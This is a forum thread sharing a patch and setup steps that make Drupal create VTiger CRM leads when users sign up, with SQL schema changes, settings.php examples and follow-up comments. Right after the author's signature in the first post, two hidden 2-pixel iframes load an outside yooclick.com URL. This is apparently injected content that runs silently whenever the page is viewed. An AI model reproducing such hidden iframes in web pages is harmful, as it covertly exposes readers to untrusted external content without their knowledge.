This is a lead creating patch for Drupal CMS. This will create a VTiger Lead for every user that signs up on your drupal site.
In VTiger:
Add a 'cmsid' entry to your leaddetails table
"ALTER TABLE leaddetails add
`cmsid` varchar(10) default NULL"
Drupal:
Install at least the address module from the ecommerce package.
Patch modules/user.module with users.patch
Patch modules/address/address.module with address.patch
Edit your settings.php to access your VTiger database as well.. You MUST name it vtiger like this:
$db_url = array('default' => 'mysql://user:pass@localhost/drupal',
'vtiger' => 'mysql://user:pass@localhost/vtigercrm');
Drawbacks:
Doesn't show the lead in "ListView" for some reason. To access the Lead record you have to enter the ID into a DetailView URL. If you know how to fix this please say so.
Only creates 1 address for the user, it's always the last one updated <!-- s:) --><img src="{SMILIES_PATH}/icon_smile.gif" alt=":)" title="Smile" /><!-- s:) -->.
Not enough error checking.
There is a bug in the sessions stuff that I _must_ have introduced. I'll get it figured out and post a new patch unless someone beats me to it.
Matt <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe> <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>
Comments
in drupal go to users->configure and enable "vtiger integration"
then go to modules and enable the address module.
matt
to enable this, copy this user.module into {drupal_root}/modules/user.module
also copy your nusoap.php (from contactforms) into {drupal_root}/includes/nusoap/lib/nusoap.php
replace your {vtiger_root}/contactserialize.php with the attached version and put your fqdn into the "namespace" variable.
run this command on your drupal mysql db:
mysql -> alter table users add `phone` varchar(15) default null;
mysql -> alter table users add `firstname` varchar(15) default null;
mysql -> alter table users add `lastname` varchar(15) default null;
mysql -> alter table users add `company` varchar(15) default null;
run this command on your vtiger db:
mysql -> alter table leaddetails add `cmsid` varchar(10) default null;
in drupal:
go to administer->users->configure and enable vtiger and set the server path to your vtiger install (just like you do for the contactforms server path)
that's it. drupal will show the extra "firstname,lastname,etc" entries for a user to signup _only_ if you have the vtiger integration enabled, otherwise it acts as usual.
i plan to add to this and create a product integration layer into the drupal ecommerce package. still deciding the best way to tackle it.
matt
matt
could anyone give me some guidance as to know whether it would be possible to access vtiger customer portal while navigating within a drupal site (actually it's a wrapper sort of...)
thank you,
nonofr
i haven't done any more work on this because we are starting to outgrow drupal and will be re-deploying on a new cms so i just haven't spent much time on it.
matt
it's a pretty nice cms, the problem we are having is with the shopping interface. it's not quite powerful enough for what we need so we are switching to our erp solution for catalog management and will built that into the joomla! cms.
i have been waiting for someone to post some joomla! and vtiger integration and it hasn't happened yet so i might just have to do it myself <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->.
matt